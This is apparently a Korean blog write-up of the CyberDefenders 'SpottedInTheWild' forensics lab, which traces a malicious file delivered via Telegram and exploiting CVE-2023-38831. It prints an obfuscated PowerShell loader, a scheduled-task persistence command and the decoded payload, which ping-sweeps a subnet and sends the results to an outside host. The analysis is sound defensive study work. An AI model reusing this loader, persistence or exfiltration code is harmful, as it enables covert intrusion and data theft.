K-Shield 주니어/스터디CTF

Cyberdefenders - SpottedInTheWild Lab

pkse74 2025. 5. 6. 02:07


Downloads폴더 안에 telegram desktop안에 악성파일이 있는 것을 볼 수 있다.

답 : Telegram


$Logfile,$J, $MFT NTFS 아티팩트들을 추출한 뒤 NTFS Logtracker로 파싱을 하고 db browser로 살펴보면

SANS가 언제 만들어졌는지 확인가능하다.

UTC+9로 만든 것이기 때문에 정답은 -9시 해줘야 한다

답 : 2024-02-03 07:33:20


FTK Imager로 SANS의 해시값을 뽑아낸 뒤 바이러스 토털에 올려본다.

답 : CVE-2023-38831


DB browser에서 찾아보면 나온다.

답 : SANS SEC401.pdf. cmd


Strings로 SANS. cmd 파일을 살펴보면 찾을 수 있다.

답 : http://172.18.35.10:8000/amanwhogetsnorest.jpg


 

SANS. cmd파일을 strings로 살펴보았더니 eventlogs.ps1이란 게 보였다.

답 : Eventlogs.ps1


Message Analyzer로 C:\windows\system32\winevt\logs에 있는 windows powershell 로그를 열어보면 eventlog.ps1이 실행된 시간을 볼 수 있는데 UTC+9시간으로 되어있으니 -9시간을 해주면 답이 된다.

답 : 2024-02-03 07:38:01


sans. cmd 파일을 악성 소프트웨어 분석을 위한 동적 및 정적 분석 서비스를 제공하는 온라인 플랫폼인 Hybrid-analysis에 올려본다. 직접 샌드박스 환경을 구축해 악성파일을 실행해서 cmd watcher로 실행해서 동적 분석해도 되는데 귀찮아서 온라인 플랫폼에 맡겼다.

파일을 올리면 여러 가지 os환경들에 대한 보고서가 오는데 윈도우7 환경에서 100프로로 실행이 된다. 윈도우7을 눌러서 확인해 보자

사진으로도 실행했을 때 모습을 볼 수 있고 아래에서 커맨드 및 프로세스를 확인할 수 있다.

답 : schtasks /create /sc minute /mo 3 /tn "whoisthebaba" /tr %WINDIR%\Temp\run.bat /RL HIGHEST

인데 답 입력해도 답으로 인정이 안된다.. 뭐가 틀린 걸까..

라고생각했는데 schtasks /create /sc minute /mo 3 /tn "whoisthebaba" /tr C:\Windows\Temp\run.bat /RL HIGHEST로 본인의 경로를 적으니 됐다


 

strings에는 명령어가 다 나오지 않아서 결국 악성파일을 직접 분석해야 할 거 같다.

FTK imager로 run.ps1을 추출한 뒤 메모장으로 열어보자

$best64code = "K0AVFdEIk9Ga0VWTtAiIyFmdk8CMwADO6UjLx4CO2EjLykTMv8iOwRHdoJCIpJXVtACdzVWdxVmUiV2VtU2avZnbJpQDpkSZslmR0VHc0V3bkgyclRXeCxGbBRWYlJlO60VZslmRu8USu0WZ0NXeTtFKn5WayR3U0YTZzFmQvRlO60FdyVmdu92Qu0WZ0NXeTtFI9AichZHJK0gIlxWaGRXdwRXdvRCIvRHIkVmdhNHIzRHb1NXZyBibhN2UiACdz9GStUGdpJ3VK0gCN0nCN0HIgACIK0QZslmR0VHc0V3bkACa0FGUlxWaG1CIk5WZwBXQtASZslmRtQXdPBCfgIiLl5WasZmZvBycpBCUJRnblJnc1NGJgQ3cvhkIgACIgACIgAiCNIiLl5WasZmZvBycpBCUJRnblJnc1NGJgQ3cvhkIgQ3cvhULlRXaydFIgACIgACIgoQD7BSZzxWZg0HIgACIK0QZslmR0VHc0V3bkACa0FGUlxWaG1CIk5WZwBXQtASZslmRtQXdPBCfgIiLl5Was52bgMXagAVS05WZyJXdjRCI0N3bIJCIgACIgACIgoQDi4SZulGbu9GIzlGIQlEduVmcyV3YkACdz9GSiACdz9GStUGdpJ3VgACIgACIgAiCNsHIpwGb15GJgUmbtACdsV3clJHJoAiZpBCIgAiCNoQDlVnbpRnbvNUesRnblxWaTBibvlGdjFkcvJncF1CIxACduV3bD1CIQlEduVmcyV3YkASZtFmTyVGd1BXbvNULg42bpR3Yl5mbvNUL0NXZUBSPgQHb1NXZyRCIgACIK0gI05WZyJXdjRSKpEDIrASKn4yJoY2T4VGZulEdzFGTuAVS0JXY0NHJgwCMocmbpJHdzJWdT5CUJRnchR3ckgCJiASPgAVS05WZyJXdjRCIgACIK0wegkyKrQnblJnc1NGJgsDZuVGJgUGbtACduVmcyV3YkAyO0JXY0NHJg0DI05WZyJXdjRCKgI3bmpQDK0QXzsVKoMXZ0lnQzNXZyRGZBRXZH5SKQlEZuVGJoU2cyFGU6oTXzNXZyRGZBBVSuQXZO5SblR3c5N1Wg0DIk5WZkoQDdNzWpgyclRXeCN3clJHZkFEdldkLpAVS0JXY0NHJoU2cyFGU6oTXzNXZyRGZBBVSuQXZO5SblR3c5N1Wg0DI0JXY0NHJK0gCNICd4RnL2UzM0wkQcBXblRFXsF2YvxEXhRXYEBHcBxVZslmZvJHUyV2cVpjduVGJiASPgUGbpZEd1BHd19GJK0gI5kjLx4CO2EjLykTMiASPgAVSk5WZkoQDiEjLx4CO2EjLykTMiASPgAVS0JXY0NHJ" ; $base64 = $best64code.ToCharArray() ; [array]::Reverse($base64) ; -join $base64 2>&1> $null ;
$LOAdCode = [System.TexT.EncOdING]::uTF8.gETStrING([SYSTeM.COnvErT]::FROmBAse64strIng("$baSE64")) ;
$PWN = "INv"+"oKE"+"-EX"+"pre"+"ssi"+"oN" ; new-alIAS -naME pWn -vALue $Pwn -foRcE ; pwN $LOAdCODe ;

$best64code 라는 변수가 있고

이 변수 안에 있는 문자열들을 문자배열로 변환시켜서 반전시키고 문자배열들을 다시 문자열로 결합하여 base64라는 변수에 넣는다

base64인코딩 된 내용을 디코딩해서 utf8문자열로 다시 변환한다

utf8로 인코딩된 코드를 powershell로 실행시킨다 

Cyberchef에서 디코딩해주면 최종적으로 아래와 같은 명령어들이 나오게 된다.

$startIP = "192.168.1.1"
$endIP = "192.168.1.99"
$outputFile = "$env:UserProfile\AppData\Local\Temp\BL4356.txt"
$start = [System.Net.IPAddress]::Parse($startIP).GetAddressBytes()[3]
$end = [System.Net.IPAddress]::Parse($endIP).GetAddressBytes()[3] for ($current = $start; $current -le $end; $current++) { $currentIP = "$($startIP.Substring(0, $startIP.LastIndexOf('.') + 1))$current" $result = Test-Connection -ComputerName $currentIP -Count 1 -ErrorAction SilentlyContinue if ($result -ne $null) { Write-Host "Host $currentIP is online." "Host $currentIP is online." | Out-File -Append -FilePath $outputFile } else { Write-Host "Host $currentIP is offline." "Host $currentIP is offline." | Out-File -Append -FilePath $outputFile } } Write-Host "Scan results saved to $outputFile"
$var = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes($outputFile)) Invoke-WebRequest -Uri "http://192.168.1.5:8000/$var" -Method GET

코드를 읽어보면 $outputFile = "$env:UserProfile\AppData\Local\Temp\BL4356.txt"

이걸 유저 경로에 대입해 보면 C:\Users\Administrator\Appdata\Local\Temp\BL4356.txt 이 된다.

답 : C:\Users\Administrator\Appdata\Local\Temp\BL4356.txt